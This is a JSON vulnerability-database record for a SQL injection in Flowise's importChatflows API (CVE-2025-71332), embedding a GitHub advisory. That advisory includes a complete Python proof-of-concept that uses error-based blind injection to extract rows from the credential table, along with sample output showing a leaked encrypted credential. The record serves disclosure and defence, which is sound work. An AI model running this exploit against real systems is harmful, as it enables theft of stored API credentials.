{"id":"CVE-2025-71332","revision":null,"records":[{"revision":"3167011383c04f77b9aba6f697347e24","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2025-71332","aliases":[],"title":"Flowise - SQL Injection in importChatflows API via chatflow.id Parameter","description":"Flowise through 2.2.7 contains a SQL injection vulnerability in the importChatflows API. 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Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2025-71332","identifiers":["CVE-2025-71332"]},"retained":false,"historicalAffected":[]},{"revision":"557ae3e5ff6c42e0b0f8a5083adb5927","observedAt":"2026-11-03T20:57:22.785+00:00","statement":{"source":"osv","id":"GHSA-9c4c-g95m-c8cp","aliases":["CVE-2025-71332"],"title":"FlowiseDB vulnerable to SQL Injection by authenticated users","description":"### Summary\nimport functions are vulnerable.\n* [importChatflows](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/chatflows/index.ts#L219)\n* [importTools](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/tools/index.ts#L85)\n* [importVariables](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/variables/index.ts)\n\n### Details\n**Authenticated user** can call importChatflows API, import json file such as `AllChatflows.json`.\nbut Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.\n\n**Issue 1 (Bug Type)**\n1. Malicious user creates `AllChatflows.json` file by adding `../` and arbitrary path to the chatflow.id of the json file.\n    ```json\n    {\n      \"Chatflows\": [\n        {\n          \"id\": \"../../../../../../apikey\",\n          \"name\": \"clickme\",\n          \"flowData\": \"{}\"\n        }\n      ]\n    }\n    ```\n2. Victim download this file, and import this to flowise.\n3. When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}.\n\n**Issue 2 (Vulnerability Type)**\nimportChatflows API use unsafe SQL Query.\n\n```javascript\n// packages/server/src/services/chatflows/index.ts\nconst importChatflows = async (newChatflows: Partial<ChatFlow>[]): Promise<any> => {\n        try {\n        const appServer = getRunningExpressApp()\n\n        // step 1 - check whether file chatflows array is zero\n        if (newChatflows.length == 0) return\n\n        // step 2 - check whether ids are duplicate in database\n        let ids = '('\n        let count: number = 0\n        const lastCount = newChatflows.length - 1\n        newChatflows.forEach((newChatflow) => {\n            ids += `'${newChatflow.id}'`           // <===== user input\n            if (lastCount != count) ids += ','\n            if (lastCount == count) ids += ')'\n            count += 1\n        })\n\n        const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow)\n            .createQueryBuilder('cf')\n            .select('cf.id')\n            .where(`cf.id IN ${ids}`)                   // <===== here\n            .getMany()\n        const foundIds = selectResponse.map((response) => {\n            return response.id\n        })\n```\nIt changes like `SELECT cf.id FROM cf WHERE cf.id IN ('{USER-INPUT...}')` by the code above.\nWhen  `') {Malicious SQL Query} --` is passed to newChatflow.id, SQL Injection occurs.\n\n### PoC\n```python\nimport argparse\nimport requests\n\n\ndef import_chatflows(\n    url: str,\n    token: str,\n    payload: dict\n):\n    response = requests.post(\n        f'{url}/api/v1/chatflows/importchatflows',\n        headers={\n            'Authorization': f'Bearer {token}'\n            # 'Authorization': f'Basic {token}'\n        },\n        json=payload\n    )\n\n    return response.json()\n\n\ndef import_normal_data(\n    api_url: str,\n    token: str,\n    normal_data: str\n):\n    data_id = 'aaaaaa'\n\n    payload = {\n        \"Chatflows\": [\n            {\n                \"id\": data_id,\n                \"name\": normal_data,\n                \"flowData\": \"{}\"\n            }\n        ]\n    }\n\n    import_chatflows(\n        url=api_url,\n        token=token,\n        payload=payload\n    )\n    return data_id\n\n\ndef get_character(\n    api_url: str,\n    token: str,\n    data_id: str,\n    column_name: str,\n    index: int\n):\n    injection_query = f'(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)'\n\n    def create_payload(\n        c: int\n    ):\n        return f\"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- \"\n\n    chatflows_json = {\n        \"Chatflows\": [\n            {\n                \"id\": \"\",\n                \"name\": data_id,\n                \"flowData\": \"{}\"\n            }\n        ]\n    }\n\n    bitbox = [\n        64, 32, 16, 8, 4, 2, 1\n    ]\n    character = 0\n    for bit in bitbox:\n        payload = create_payload(c=character + bit)\n        chatflows_json['Chatflows'][0]['id'] = payload\n\n        res = import_chatflows(\n            url=api_url,\n            token=token,\n            payload=chatflows_json\n        )\n        if 'DOUBLE value is out of range' in res['message']:\n            # character is more then bit\n            character += bit\n        else:\n            # character is less then bit\n            character += 0\n\n    return chr(character)\n\n\ndef get_length(\n    api_url: str,\n    token: str,\n    data_id: str,\n    column_name: str\n):\n    injection_query = f'(SELECT length({column_name}) FROM credential limit 0,1)'\n\n    def create_payload(\n        c: int\n    ):\n        return f\"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- \"\n\n    chatflows_json = {\n        \"Chatflows\": [\n            {\n                \"id\": \"\",\n                \"name\": data_id,\n                \"flowData\": \"{}\"\n            }\n        ]\n    }\n\n    column_len = 0\n    bitbox = [\n        256, 128, 64, 32, 16, 8, 4, 2, 1\n    ]\n    for bit in bitbox:\n        payload = create_payload(c=column_len + bit)\n        chatflows_json['Chatflows'][0]['id'] = payload\n\n        res = import_chatflows(\n            url=api_url,\n            token=token,\n            payload=chatflows_json\n        )\n        if 'DOUBLE value is out of range' in res['message']:\n            # column_len is more then bit\n            column_len += bit\n        else:\n            # column_len is less then bit\n            column_len += 0\n\n    return column_len\n\n\ndef main(\n    url: str,\n    token: str\n):\n    api_url = url\n\n    column_box = [\n        'credentialName',\n        'encryptedData'\n    ]\n\n    data_id = import_normal_data(\n        api_url=api_url,\n        token=token,\n        normal_data='flow01'\n    )\n\n    for column_name in column_box:\n        column_len = get_length(\n            api_url=api_url,\n            token=token,\n            data_id=data_id,\n            column_name=column_name\n        )\n\n        print(f'[+] {column_name} length is {column_len}')\n\n        result = ''\n        for i in range(column_len):\n            result += get_character(\n                api_url=api_url,\n                token=token,\n                data_id=data_id,\n                column_name=column_name,\n                index=i + 1\n            )\n\n        print(f'[+] {column_name}: {result}')\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\n        '--url',\n        type=str,\n        default='http://flowise:3000'\n    )\n    parser.add_argument(\n        '--access',\n        type=str,\n        required=True,\n        help='Get from http://flowise:3000/apikey'\n    )\n\n    m_args = parser.parse_args()\n\n    main(\n        url=m_args.url,\n        token=m_args.access\n    )\n```\n\n**poc results: encryptedData from flowise database credential table was successfully leaked.**\n```\n/app # python ex2.py --url http://flowise:3000 --access \"blahblah~~~\"\n[+] credentialName length is 9\n[+] credentialName: openAIApi\n[+] encryptedData length is 88\n[+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg==\n```\n\nIt is recommended to limit all chatflow ids & chat ids to UUID.\n\n### Impact\n* Database leak\n* Lateral Movement","state":0,"publishedAt":"2025-04-07T18:55:13+00:00","modifiedAt":"2026-11-03T20:15:04.0304115+00:00","affected":[{"ecosystem":"npm","name":"flowise","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"2.2.7"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L","score":null,"severity":null},{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9c4c-g95m-c8cp","https://nvd.nist.gov/vuln/detail/CVE-2025-71332","https://github.com/FlowiseAI/Flowise/pull/4226","https://github.com/FlowiseAI/Flowise","https://www.vulncheck.com/advisories/flowise-sql-injection-in-importchatflows-api-via-chatflow-id-parameter"],"sourceUrl":"https://github.com/advisories/GHSA-9c4c-g95m-c8cp","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-9c4c-g95m-c8cp","identifiers":["GHSA-9c4c-g95m-c8cp","CVE-2025-71332"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; 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